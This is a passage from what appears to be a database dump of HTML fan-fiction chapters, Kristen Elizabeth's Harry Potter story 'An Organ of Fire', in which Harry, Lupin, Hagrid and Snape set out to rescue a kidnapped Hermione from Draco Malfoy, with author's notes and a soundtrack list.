throat.\n&quot;What...happened?&quot;<br>\n<br>\nThe boy looked up, moisture welling up in his wide, green eyes. &quot;We\'ve looked\neverywhere for her. For two days. She\'s not here anymore.&quot; <br>\n<br>\nHe could feel the empty pit of fear forming in the bottom of his stomach. Cold\nsweat beaded on his temples and upper lip. &quot;Hermione is...&quot;<br>\n<br>\n&quot;She\'s gone.&quot; Their son spoke in a tiny voice. &quot;Someone took\nher.&quot; <br>\n<br>\nHis hand shook as Harry raised the back of it to his mouth. The darkness could\ncome and take him again; in those few seconds, he would have welcomed it. The\none bright spot in his life...someone had taken her away. Malfoy had taken her away.\nShe could be tortured, she could be dead, she could be hanging on for their\nchild. But she wasn\'t where she belonged, and it was all because of him.<br>\n<br>\nRidding the world of Voldemort had been necessary. Destroying Draco Malfoy\nwould simply be a pleasure. <br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(93, 18, '\n\n\n\n<p class="MsoNormal">Disclaimer: Standard profession of innocent intentions.\nPlease don\'t sue.<br>\n<br>\nAuthor\'s Notes: I knew this chapter would be finished tonight, seeing as how I\njust returned from England. Well...okay, Epcot, which has a lovely fake England\nin its World Showcase. I was quite impressed with the cider I bought at the\npub, and less impressed by the lack of Harry Potter merchandise. (Damn you,\nWarner Brothers!! If you\'re not going to put England in your own parks, set\nsomething up with Disney for theirs!!) I was at least hoping to find a red and\nyellow scarf. Time to dust off the knitting needles, I guess.<br>\n<br>\nOh, sorry. Got off track there. Where was I? Ah! A few days ago I got an email\nfrom a reader asking if I listen to music when I\'m writing and if so, what\nkind. I wrote back to this very nice person, but then thought that maybe\nsomeone else is curious. I do listen to music when I\'m writing; it\'s essential,\nsometimes to the entire tone of a particular section. At the end of the\nchapter, I\'ve listed some of the things I\'ve had on in the background while\nI\'ve been writing this story. If you\'re not interested, feel free to ignore it.\nIf you are, I\'d imagine everything is on Kazaa. Good stuff, people;) And I\'m\npicky about music. <br>\n<br>\nOnce again, thank you so much for your kind words and support. It tickles me\nbeyond pink to hear that ya\'ll are enjoying it. I hope I don\'t ever disappoint.\nOn that note, on with the show! <br>\n<br>\nPS: Merry (or Happy) Christmas everyone!!! Make it jolly and safe. Jolly safe.<br>\n<br>\n****<br>\n<br>\nAn Organ of Fire<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Harry.&quot;<br>\n<br>\nWith lazy movements, Harry turned his head to look at the woman lying beside\nhim. &quot;The sun is going down.&quot;<br>\n<br>\n&quot;I know,&quot; she replied. &quot;Night comes so much quicker these\ndays.&quot; She lifted her chin enough to look down the length of her body.\n&quot;I like my present.&quot;<br>\n<br>\n&quot;Be careful.&quot; Harry watched her run a finger up and down the smooth\nlength of the garden snake coiled on her lower stomach. &quot;They bite,\nHermione.&quot;<br>\n<br>\nShe smiled at him. &quot;Nothing can hurt me when I\'m with you.&quot; <br>\n<br>\nHarry settled back, tucking one arm behind his neck. &quot;We should probably\ngo. It\'ll get cold before long.&quot; <br>\n<br>\n&quot;Just a few more minutes.&quot; Hermione let the creature wrap around her\nwrist. &quot;She likes the dark. And there\'s no rush, Harry.&quot;<br>\n<br>\n&quot;You\'re right,&quot; he easily agreed, sitting up to stretch. Harry\nglanced around. The rock on which they had spread their picnic blanket balanced\nprecariously on top of another rock, which rested on another rock, a hundred\nfeet off the ground. &quot;It\'s not like we can get down anyway.&quot;<br>\n<br>\n&quot;What goes up, must come down. Broomsticks and birds, Snitches and\nscaffolding.&quot; <br>\n<br>\n&quot;Yes.&quot; Harry took a breath of night air. &quot;I\'m glad we had this\ntime together, Hermione.&quot;<br>\n<br>\n&quot;So am I, Harry. I\'ve...ow!&quot; She frowned at her hand and the two\nfresh puncture marks that marred it. &quot;She bit me. Is she poisonous?&quot; <br>\n<br>\n&quot;I think I used to know, but...I can\'t remember.&quot; He reached for her\nbleeding palm and raised it to his lips. &quot;What does poison taste\nlike?&quot; <br>\n<br>\nWhen he looked back up at her, her face was white, like a freshly washed\nbedsheet. &quot;It\'s all right, Harry,&quot; Hermione whispered. &quot;It\ndoesn\'t hurt.&quot;<br>\n<br>\n&quot;Hermione?&quot;<br>\n<br>\nThe snake had made its way up to her neck; its head danced around the base of\nher throat. &quot;You can\'t stop what\'s to come, my love. But I promise, it\'ll\nall be over soon...&quot;<br>\n<br>\n****<br>\n<br>\n&quot;No!&quot; Harry\'s eyes flew open; he jerked his cheek up from its resting\nplace on his arm. &quot;I can!!&quot;<br>\n<br>\n&quot;Harry.&quot; Lupin was at his side in a second. &quot;What is it?&quot; <br>\n<br>\n&quot;Hermione! She...&quot; He blinked several times. &quot;It was...a dream.\nShe was in my...&quot; Harry swallowed heavily. &quot;I\'m sorry.&quot;<br>\n<br>\nThe large hand that landed on his back could only belong to Hagrid. &quot;Yer\nbarely outta th\' hospital wing, \'arry. We ought not ter be keepin\' yer\nup.&quot; <br>\n<br>\nHarry shook his head, clearing away the lingering images. &quot;No, I\'m fine. I\njust...won\'t doze off anymore.&quot; He looked up at Lupin. &quot;I don\'t\nsuppose it\'s all just been a dream?&quot; He tried to smile at his own meager\njoke. &quot;Didn\'t think so.&quot;<br>\n<br>\n&quot;Harry, are you sure about this? It\'s what you want to do, and damn the\nconsequences?&quot; <br>\n<br>\nHis brain raced to catch up. Before he had fallen asleep, they had been\ndiscussing...what? Then, he looked down the papers spread before him on\nHermione\'s dining room table. One in particular, a map, caught his eye. Then,\nhe remembered. &quot;Yes,&quot; he said, the chill in his voice startling even\nhim. &quot;If he\'s got her there, I\'m going there to get her back. And I\'d like\nto see him try to stop me.&quot; <br>\n<br>\n&quot;I just want you to be sure. I mean, there are other things we could do.\nWe could find Sirius and...&quot; <br>\n<br>\n&quot;Every second that we sit here debating is another second Hermione could\nbe in pain.&quot; Harry\'s hand curled into a tight ball. &quot;If you\'re not on\nboard with the plan, then you don\'t have to come along.&quot; <br>\n<br>\nLupin was quiet for a moment. &quot;Harry. Whoever took Hermione...&quot;<br>\n<br>\n&quot;Malfoy. It was Malfoy. Let\'s just say it out loud, shall we?&quot;<br>\n<br>\n&quot;...they\'ve done the impossible. Broken through the Hogwarts defenses. And\nyou say it probably wasn\'t even just this once? But on Halloween, too?&quot;\nHarry nodded curtly. &quot;Don\'t you get it, Harry? The amount of power...of\nskill that doing this takes? The greatest wizards in history created the\nenchantments that protect this castle. And Malfoy\'s found a way through them.\nThat means...&quot;<br>\n<br>\n&quot;That means this won\'t be easy.&quot; Harry stood up and paced towards the\nfireplace. &quot;But it doesn\'t mean I\'m not going to do it. I have to...find\nher. I have to save her and...&quot; He put one hand on the mantle, resting his\nforehead on the inside of his elbow. &quot;I was going to ask her to marry me,&quot;\nhe whispered. <br>\n<br>\n&quot;What\'s tha\', \'arry?&quot; Hagrid asked.<br>\n<br>\nHe squeezed back hot tears. &quot;Nothing. Listen...&quot; Harry turned his\nhead to see his friends. &quot;I don\'t blame you if you\'re not terribly keen on\ngoing head-long into the fray with me. But just know that I can always use the\ntwo of you by my side. I have ever since I was a kid.&quot; <br>\n<br>\n&quot;We\'ll be with you,&quot; Lupin said after a long pause. &quot;There was a\nnever a question about that.&quot; <br>\n<br>\n&quot;I\'ll be with you, too.&quot; <br>\n<br>\nHarry whipped his gaze around to the other side of the fireplace and the staircase\nthat led up to the bedrooms. Little Harry was sitting on the lower steps, his\nhands tucked tightly under the arms of his green sweater. He had obviously been\nthere for some time without notice. The boy stood up bravely. &quot;I want to\nhelp you find Mum.&quot; <br>\n<br>\n&quot;Harry...&quot; The elder Harry sighed softly. <br>\n<br>\n&quot;I\'m serious!&quot; His son approached him, unfolding his arms. &quot;I\ncan take care of myself. You won\'t have to watch out for me. I just...I want to\ndo something! She\'s my Mum.&quot;<br>\n<br>\n&quot;It\'s just too dangerous. You haven\'t even started your training. There\'d\nbe no way for you to protect yourself from...&quot; Harry shook his head.\n&quot;I\'m sorry. No. It\'s impossible.&quot; <br>\n<br>\nLupin sat on the edge of the table. &quot;You did say that he\'s the same age\nyou were when you took on the dark forces single-handedly.&quot; <br>\n<br>\n&quot;Tha\'s true, \'arry. Yer only came up ter my knee when yer an\' Ron an\'\n\'ermione went lookin\' fer tha\' bloody stone tha\'...&quot;<br>\n<br>\n&quot;We\'re not having a debate here. Hermione doesn\'t want him exposed!&quot;\nHarry fairly shouted. &quot;I\'m not about to go against her wishes!&quot;<br>\n<br>\nThere was another pause after Harry\'s outburst. &quot;Father,&quot; little\nHarry began in a voice almost too quiet to be heard. &quot;I\'ve already been\nexposed.&quot;<br>\n<br>\nThe fire in the hearth crackled cheerfully, mocking the heavy silence that\ndraped the room and its occupants. &quot;The entire reason I haven\'t been in\nyour life until now, the reason I left, was to protect the people I love. After\nall that, if anything were to happen to one of them...&quot;<br>\n<br>\nLittle Harry blinked. &quot;You love me?&quot;<br>\n<br>\n&quot;Harry...&quot; He stared at his son, such a perfect representation of his\nlove for Hermione, and Ron\'s love for both of them. The question was so small,\nyet it nearly knocked him over. There was only one way to answer. &quot;Of\ncourse I do.&quot; <br>\n<br>\nHe spoke the words with such unmistakable emotion that Hagrid had to clear his\nthroat. Lupin seemed to be quite interested in something on the ceiling. Little\nHarry watched his father for another second before breaking into a grin. But\nonly a second passed before it faded. <br>\n<br>\n&quot;I still want to help Mum.&quot;<br>\n<br>\n&quot;And I still say that I can\'t risk you. Can you understand that,\nHarry?&quot;<br>\n<br>\nThe boy looked down at his shoes. One had come untied, making him seem much\nyounger. &quot;I can,&quot; he mumbled. &quot;I\'ll stay here.&quot;<br>\n<br>\nAfter reaching out to touch his son\'s shoulder, Harry returned to business. He\nmoved back to the table and picked up the map. &quot;The first thing we have to\nknow is just where the hell we\'re going.&quot; <br>\n<br>\nLupin frowned. &quot;Do you know where the Malfoy\'s manor is?&quot; <br>\n<br>\n&quot;No.&quot; Harry thought for a second. &quot;But I know someone who\ndoes.&quot; <br>\n<br>\n****<br>\n<br>\nThey found Severus Snape where he always was when he wasn\'t presiding over a\nclass of nervous students: in the dungeons, hunched over a boiling cauldron,\nstirring a concoction of nauseating ingredients. He looked up as Harry, Lupin\nand little Harry entered; the steam coming from his potion had plastered his\ngreying black locks to his forehead and cheeks, but given his sallow skin an\nalmost pink glow. He was obviously surprised to see them.<br>\n<br>\n&quot;We\'re sorry to burst in on you,&quot; Harry spoke first. &quot;I tried\nyour apartment first, but...&quot; He didn\'t need to finish the obvious\nobservation. <br>\n<br>\n&quot;It\'s quite alright.&quot; Snape stepped away from the cauldron. After an\nawkward pause, he asked, &quot;Is there any news?&quot;<br>\n<br>\nHarry shook his head tightly. &quot;Nothing.&quot; <br>\n<br>\nLittle Harry moved towards the cauldron. &quot;What are you making,\nProfessor?&quot; <br>\n<br>\n&quot;It\'s only an experiment,&quot; Snape told the boy, discouraging any\nfurther curiosity. &quot;Don\'t get too close.&quot; The boy stepped back.\n&quot;I take it you\'re not here to chat, Potter.&quot; <br>\n<br>\n&quot;No.&quot; Harry leveled the man with the intensity in his eyes. So much\nlike his father, Snape couldn\'t help but think. &quot;Dumbledore says this is\nhard for you. I have no doubt, but honestly...&quot; He lifted his shoulders.\n&quot;I\'m finding it hard to care. You know as well as I who has my...Hermione.\nAnd you know me well enough to know I\'ll stop at nothing to get her back from\nhim.&quot;<br>\n<br>\nSnape\'s hand closed around a bottle of powdered dragon\'s blood. &quot;And where\ndo I fit into your rescue plans?&quot;<br>\n<br>\n&quot;Do you see anyone else in this room who has been a welcome guest at\nMalfoy Manor?&quot;<br>\n<br>\nFor a long time, Snape watched his former student with a keen, yet somehow\ntired eye. &quot;That was a long time ago,&quot; he finally replied. <br>\n<br>\n&quot;You still know how to get there, don\'t you?&quot; Harry pressed.\n&quot;That\'s all I\'m asking for.&quot; <br>\n<br>\nThe Potions master uncorked the dragon\'s blood and added a healthy amount to\nhis cauldron. &quot;Are you going to kill him?&quot;<br>\n<br>\n&quot;If needs be...yes.&quot;<br>\n<br>\n&quot;You\'ll go to Azkaban and he\'ll become a martyr.&quot; <br>\n<br>\nLupin stepped into the conversation, &quot;Harry only meant as a very last\nresort. The fact of the matter is that...&quot;<br>\n<br>\n&quot;He\'s killed Ron. It doesn\'t matter if it was with a curse or his bare\nhands.&quot; Harry stepped even closer to the older man. &quot;Don\'t you think\nhe should answer for it? Or do you still think, after all these years, that he\ncan do no wrong?&quot;<br>\n<br>\n&quot;He can do wrong,&quot; Snape replied. &quot;I\'ve seen\nit...first-hand.&quot; <br>\n<br>\nHarry folded his arms. &quot;Then if you sit back and do nothing, you\'re as\nmuch to blame as him.&quot; <br>\n<br>\n&quot;Do you think this is going to be easy, Potter?&quot; Snape threw aside\nthe half-empty bottle and reached for another from his cache of supplies.\n&quot;Do you think you\'re just going to Apparate into the Malfoy\'s parlor and\nfind Hermione tied to a chair? No.&quot; He tossed in a Jobberknoll feather.\n&quot;He knows better than that.&quot;<br>\n<br>\n&quot;You taught him better than that.&quot;<br>\n<br>\n&quot;Believe what you want.&quot; Snape added another feather, causing the\nmixture inside the cauldron to turn a sickening shade of green. <br>\n<br>\nHarry glanced back at Hagrid and Lupin. &quot;We\'re wasting time.&quot; <br>\n<br>\n&quot;Are you going to help us or not, Severus?&quot; Lupin asked. &quot;Just\ntell us where the Manor is and what sort of defenses it has and we\'ll be out of\nyour hair.&quot;<br>\n<br>\nSnape gazed into his potion. &quot;I could tell you, but...&quot;<br>\n<br>\nHarry brought his fist down on Snape\'s worktable, rattling the jars and\nbottles. &quot;I should have known you wouldn\'t do anything to help me! I\'d\nhave better luck tracking down Dobby the bloody house elf and asking for his\nhelp!&quot;<br>\n<br>\n&quot;I\'d rather show you,&quot; Snape finished, coldly. <br>\n<br>\nHagrid blinked. &quot;Yer want ter go with \'arry?&quot;<br>\n<br>\n&quot;You want to come along?&quot; Harry\'s brow crinkled. &quot;Why?&quot;<br>\n<br>\nAs he replied, Snape carefully measured out something that Harry couldn\'t\nidentify. &quot;I have my reasons. But more than that...&quot; He added the\nmysterious substance; the color turned a darker shade of green. &quot;You can\'t\nget there without a guide.&quot; <br>\n<br>\nHarry\'s gaze slid back and forth between the Potions master and his potion.\n&quot;What is it that you\'re making?&quot;<br>\n<br>\nThe man reached for a ladle and poured a fair amount of the brew into a beaker.\n&quot;If you need to know, I\'ll tell you.&quot; <br>\n<br>\n&quot;You really are an impossible bastard,&quot; Harry snapped, seventeen\nyears of animosity boiling over. <br>\n<br>\nSnape snorted. &quot;Then find someone else to deliver you into the hands of\nthe dragon.&quot;<br>\n<br>\nHarry ran his hands through his black locks several times. &quot;When can you\nbe ready to go?&quot; <br>\n<br>\n&quot;Whenever you are, Potter.&quot; The older man screwed a lid onto his\nconcoction. &quot;Just so you know...if you face him tonight, one out of the\ntwo of you won\'t make it to dawn.&quot; <br>\n<br>\n&quot;Ther\'s a cheery attitude fer yer,&quot; Hagrid muttered. <br>\n<br>\nHarry glanced at his son. &quot;He won\'t be able to kill me.&quot; <br>\n<br>\n&quot;Are you so sure?&quot; Snape asked. <br>\n<br>\n&quot;Yes.&quot; His eyes closed briefly; he could almost sense Hermione\'s body\ncurled up next to his, smell her warm rose scent, feel her expanding belly\nunderneath his hand. &quot;I have a lot more to protect than Malfoy does.&quot;\nHis eyes opened. &quot;We\'ll start for Hogsmeade in fifteen minutes. I don\'t\nwant anyone to know what we\'re doing.&quot; Harry hesitated. &quot;Not even\nDumbledore.&quot; <br>\n<br>\nLupin scratched the back of his neck, worried. &quot;If you\'re even listening\nto me anymore, Harry, I don\'t think that\'s such a good idea.&quot;<br>\n<br>\n&quot;I\'m listening. I just don\'t see how involving Dumbledore is going to\nhelp.&quot;<br>\n<br>\n&quot;Stop and think, Harry,&quot; he continued. &quot;This weight of the\nworld...you don\'t have to carry all of it. There are people around to help you.\nYou don\'t have to do this alone.&quot; <br>\n<br>\n&quot;You don\'t understand.&quot; His head ached in sheer exhaustion. More than\nanything else, Harry Potter was tired of being Harry Potter. &quot;It always\ncomes down to me.&quot;<br>\n<br>\n****<br>\n<br>\nIt had all happened so quickly that it was hard at first for Hermione to accept\nthat it hadn\'t been a dream. One second she had been following her students as\nthey ran to find the source of the commotion in the castle; the next, she had\nwoken up in the cold corner of a stone room with nothing but a plate of dry\nbread and a chamber pot. <br>\n<br>\nThe first day she had spent in numbing silence, shocked out of her voice. She\nate only when she realized that not eating could hurt the baby. She slept only\nfor only brief periods of time; there was soft scratching all around her in the\nshadows. Even before Scabbers, rats were her least favorite of all creatures. <br>\n<br>\nOn the second day, she woke from a few minutes sleep crying. The tears did not\nstop for a long time. It was only then that she began to really think about\nwhat had happened to her. She had been ripped out of the safe nest of Hogwarts,\naway from her child, away from her lover, away from her life, and dumped into a\nprison of sorts...and there was only one person in the world who hated her\nenough to have done it. <br>\n<br>\nShe forced herself to talk, whispering words of comfort to her unborn child,\nbut her thoughts were anything but light. Surely her disappearance had been\nnoticed by now; it would take Harry even less time to connect the dots. He\nwould come for her, of that she was sure. But she was even more certain that he\nwould come looking for Malfoy. And she couldn\'t say she\'d be sorry to see what\nHarry would do to the bastard. <br>\n<br>\nAfter all, she could remember with vivid clarity what Harry had done to\nVoldemort when he had threatened her life. It would never go away, that picture\nof Harry, bleeding and livid, pushing her away and blocking the path of\nVoldemort\'s curse. And then, the return curse that had withered the Dark Lord\nto nothing but an empty robe on the misty field. No...Draco Malfoy stood no\nchance against Harry if she were harmed. <br>\n<br>\nBut knowing that didn\'t stop the sheer terror that sprung into her throat when\na before-unseen door burst open and a shaft of light penetrated her little\nstone cage. Hermione winced and shielded her eyes. <br>\n<br>\n&quot;You\'re to come with me,&quot; a voice ordered her. &quot;Get up.&quot; <br>\n<br>\nHermione grabbed onto the wall for support as she stood on weak legs. &quot;Who\nare you? Why are you doing this to me?!&quot; The unidentified person remained\na dark blur in the light, but as she slowly began to walk towards the door she\ncould make out features...nose, hair, eyes...<br>\n<br>\n&quot;Sirius?&quot; He stared straight ahead without blinking, but it was him,\nwithout a doubt. &quot;Sirius,&quot; she repeated, tears welling up. Unmoved,\nhe grabbed the dirty sleeve of her blouse. &quot;What are you..&quot;<br>\n<br>\n&quot;Follow me.&quot; Harry\'s godfather yanked on her arm enough to hurt,\npulling her into a stone corridor. <br>\n<br>\nHermione went along without a fight. Perhaps there was a way to reach to\nSirius, through whatever had control over him. &quot;Please...&quot; Her voice\nechoed off the cold walls. &quot;Please let me go, Sirius. We can get out of\nhere together and...and back to Hogwarts where it\'s safe. Harry\'s been worried\nabout you...with good reason, I suppose, but...&quot;<br>\n<br>\n&quot;Stop talking.&quot; <br>\n<br>\nShe stumbled over an uneven part of the floor. &quot;This isn\'t you. I know it\nisn\'t you. Please tell me what Draco\'s done to you. Maybe I can help!&quot; His\ngrip on her arm grew tighter. &quot;You\'re hurting me,&quot; Hermione\nwhispered. <br>\n<br>\nHer pain went ignored as Sirius forced her up a long set of stone steps. They\nemerged into another hallway, only this one was lined with torches which failed\nto provide any warmth. &quot;Sirius,&quot; she tried again. &quot;Do you\nremember the first time you met Harry? You needed him to trust you...and he\ndid. Please don\'t break that trust. You are family to Harry, the first real\nfamily he ever...&quot;<br>\n<br>\n&quot;I said stop talking.&quot; Sirius thrust her into an open doorway. <br>\n<br>\nHer knees slammed onto hard wood as she fell. Hermione bit her lip to keep in\nher cry of pain; she would not give anyone the satisfaction of seeing her\ndown-trodden. With all the strength she had left, she picked herself off the\nfloor, brushed off her ruined skirt and took her first look at her new\nsurroundings. More of a hall than a room, it stretched across an impossible\nlength of space. A huge fireplace sat at each end, the kind that could swallow\na person whole, drowning them in flames. <br>\n<br>\nAnd at the one closest to her, a man in black, floor-length robes stood. But it\nwould take more than even the largest fire to warm that man in particular; he\nturned a moment later to face her, his eyes more grey than blue...so clouded\nover with hate. &quot;I trust you found your accommodations of the past two\ndays suitable?&quot; <br>\n<br>\nHermione lifted her chin, staring back at Draco Malfoy with an equal amount of\nloathing. &quot;I find nothing about being here suitable. Just who do you think\nyou are?! I demand that you let me go immediately, Draco!&quot; <br>\n<br>\nHe began to laugh. &quot;Spirited little Mudblood. You are hardly in a position\nto be making demands of any kind.&quot; <br>\n<br>\n&quot;What do you want with me?&quot; <br>\n<br>\nSmiling cooly, he stepped away from the fireplace. &quot;Who says that I want\nanything from you?&quot; <br>\n<br>\nHermione licked her lips nervously. &quot;What have you done to Sirius\nBlack?&quot; <br>\n<br>\n&quot;I\'m not really all that interested in revealing anything to you quite\nyet. Petrificus Totalus.&quot; Her captor snapped his long, pale fingers. She\nhad no time to do anything before her entire body froze. &quot;Who needs a wand\nwhen one has the power of the mind? I\'m sure that\'s one thing you\'ve never\nlearned to do from your books.&quot; <br>\n<br>\nShe could say nothing, but her eyes were windows into her fear, only shaded by\na curtain of brave malice. <br>\n<br>\n&quot;What a pleasant sound. Silence when the Head Girl of Hogwarts is\npresent.&quot; He moved around her rigid body, which seemed to be standing up\nonly by the sheer force of her willpower. &quot;You asked what I want with you\nand I answered nothing. Well...that\'s not entirely the truth.&quot; Draco\nreached out to touch a stiff lock of her hair. &quot;You\'re merely the bait for\nwhat I want.&quot; He glanced up at the arched ceiling as though he could see\nthrough to the moon. &quot;He should be here at any moment.&quot; His gaze drifted\nback down to hers. &quot;Then...the real fun can finally begin.&quot; Draco\'s\neyes grew even colder. &quot;And end.&quot; <br>\n<br>\n**Oh god....Harry. You\'re walking straight into a trap.** Inside her head,\nHermione screamed, but outside, there was no noise but the sound of Draco\nMalfoy\'s laughter.<br>\n<br>\n****<br>\n<br>\n&quot;This is it.&quot; Snape pointed at the dark house at the very top of a\nsloping peak just outside of Leeds. &quot;Malfoy Manor.&quot; <br>\n<br>\nHarry barely flinched at the slap and crash of thunder and lightning. It seemed\nfitting, the storm that was brewing. Why should it have been pleasant on an\nevening when he had come looking for a fight to the death? <br>\n<br>\n&quot;Lovely place,&quot; Lupin commented, dryly. &quot;Perhaps I\'ll build a\nsummer home here.&quot; <br>\n<br>\nSnape started across the short moor that lay between them and the manor.\n&quot;A little less sarcasm would do just fine, Remus.&quot; <br>\n<br>\n&quot;Sarcasm\'s all that I\'ve got left,&quot; he replied, following his old\nschoolmate. When he didn\'t hear footsteps behind him, he glanced over his\nshoulder. &quot;You\'ve come this far, Harry. Nowhere to go but forward.&quot;<br>\n<br>\nHarry closed his eyes. He didn\'t want to say anything, didn\'t want it evident\non his face, but his scar had been burning from the moment they Apparated onto\nthe moor. He forced his eyes open. Just as he did, a light came on in the\nmanor. A tiny square of light...a guide to follow to reach Hermione...a beacon\nto whatever the night held in store for him. <br>\n<br>\nAfter taking a calming breath of damp air, Harry started towards it.<br>\n<br>\n****<br>\n<br>\nTo Be Continued<br>\n<br>\n****<br>\n<br>\nSoundtracks:<br>\nHarry Potter and the Sorcerer\'s Stone (of course)<br>\nPractical Magic <br>\nDawson\'s Creek Volumes I and II<br>\nBuffy the Vampire Slayer <br>\nRomeo and Juliet<br>\n<br>\nAlbums:<br>\nSarah McLachlan- &quot;Surfacing&quot;<br>\nMadonna- &quot;Ray of Light&quot;<br>\n<br>\nSingles:<br>\nSarina Paris- &quot;Baby Look at Us&quot;<br>\nE Nomine- &quot;Vater Unser&quot;<br>\nSarah Brightman and Andrea Bocelli- &quot;Time to Say Goodbye&quot;<br>\nEvanescence- &quot;Imaginary&quot;<br>\nMalice Mizer- &quot;Gekka No Yakusokyou&quot;<br>\nBjork- &quot;Bachelorette&quot; and &quot;Dancer in the Dark&quot;<br>\n<br>\n****</p>\n\n\n\n\n\n\n'),
	(93, 19, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp; Any and\nall characters and the world to which they belong do not belong to me.&nbsp; Established, yes?&nbsp; Good, moving on.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author\'s Notes:&nbsp; Two\nhours into 2003 and I\'m still up writing.&nbsp;\nPretty good way to start the new year although a kiss would have been\nnice, too.&nbsp; I hope everyone else had a\nsexier celebration;)&nbsp; As always, I very\nmuch appreciate all the feedback on this story.&nbsp; Also, as a side note, this story is now also available at\nwww.portkey.org, although I will still keep updating here for the time\nbeing.&nbsp; If you\'re looking for a few\nHarry/Hermione stories that go beyond the hand-holding routine that\'s almost\ntoo racy for this site nowadays, check them out.&nbsp; Take care everyone, and have a happy new year!&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An Organ of Fire</p>\n\n<p class="MsoNormal">by Kristen Elizabeth</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right, Severus.&quot;&nbsp; Lupin threw an accusing glance at the man.&nbsp; &quot;How do we deal with this?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;This&quot; and a simple hand gesture to indicate it\nwere hardly sufficient to refer to the obstacle that had successfully stopped\nthe three wizards in their quest.&nbsp; A\nbramble of deadly sharp thorns, some big enough to slice a man in half and\nothers small enough to slide underneath a single layer of skin, stretched from\nthe misty edge of the moor all the way up the slope to the front door of Malfoy\nManor.&nbsp; Combined with the rain of the\nthunderstorm that cloaked the moon\'s light, it was a challenge not to be taken\nlightly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape blinked rain out of his eyes, frowning.&nbsp; &quot;This was not here the last time I\nwas.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s new,&quot; Harry spoke up, fingering the\nscalpel-sharp edge of one long barb.&nbsp;\n&quot;Put here for a single purpose.&quot;&nbsp; He ignored the thin ribbon of blood that ran down his palm.&nbsp; &quot;To keep me occupied.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin didn\'t need to speculate on the reasons why Malfoy\nmight want to keep Harry busy for as long as possible.&nbsp; There was little doubt that the younger\nwizard had gone over all the things that could possibly be happening to the\nwoman he loved a million times; he didn\'t need any help there.&nbsp; Licking his wet lips, Lupin looked up at the\nhouse, so close and yet so far away.&nbsp;\n&quot;So...&quot; he began.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry withdrew his wand from his dark green robes.&nbsp; &quot;Diffindo!&quot;&nbsp; The branches closest to him split in a flash\nof sparks, creating a narrow passage through their midst.&nbsp; He looked back at his companions.&nbsp; &quot;We go in anyway.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He took the lead with Lupin following him and Snape taking\nup the rear.&nbsp; As best he could guess,\nthe house lay a half-mile away, a ten minute walk if not for the irritating\njungle of thistles.&nbsp; He had no plan\nbeyond getting through it as unscathed as possible, but all too soon he\nrealized he would have to form one.&nbsp; The\nthorns grew thicker and all too soon he had completely lost sight of the manor\nand the one square of light coming from it.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Apparently noticing his hesitancy in the series of spells\nand charms that kept the branches open in front of them as they walked, Lupin\ntapped Harry on the shoulder.&nbsp;\n&quot;We\'re getting somewhere, Harry, but it\'s nowhere near to where we\nwant to be.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Diversionary spell.&quot;&nbsp; Snape\'s voice trailed on the storm\'s strong winds.&nbsp; &quot;He\'ll have you going in circles around\nthe house but never getting any closer.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s eyes narrowed. &nbsp;&quot;Draco\'s memory is getting weak.&nbsp; I\'ve been in a maze before.&quot;&nbsp; Without any fanfare, he placed his wand flat on his palm and it\nheld it out in front of him.&nbsp;\n&quot;Point me.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With the makeshift compass and Lupin taking over the\nspell-casting in Harry\'s place, the trio slowly made their way closer to Malfoy\nManor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s different than I remember,&quot; Snape said a\nminute later.&nbsp; &quot;The entire\nmanor...it had a friendlier air to it.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Friendly?&quot;&nbsp;\nHarry couldn\'t hold in a soft snort.&nbsp;\n&quot;The Malfoy\'s home?&nbsp; I have\na hard time believing that.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Potions master brushed hair out of his eyes.&nbsp; &quot;You wouldn\'t understand.&nbsp; The Malfoys were hardly a perfect lot and\nthey certainly weren\'t anything resembling nice, but they were a family.&nbsp; And in their own peculiar way, they kept a\nhome, just like a family.&nbsp; I felt\nwelcome here with them.&nbsp; On false\npretenses, certainly.&nbsp; They thought I\nwas still loyal to...him.&quot;&nbsp; He took\na breath.&nbsp; &quot;All I\'m saying is that\nit\'s different now.&nbsp;\nReductor!&quot;&nbsp; He blasted away\na sharp branch that was inching its way towards his neck.&nbsp; &quot;I can feel it.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Basically, the place has gone to the pits since Lucius\nkicked it?&quot;&nbsp; Lupin\'s irreverent\nsummary almost had Harry laughing in spite of himself.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape was not quite as amused.&nbsp; &quot;You wouldn\'t understand,&quot; he repeated.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Minutes passed in 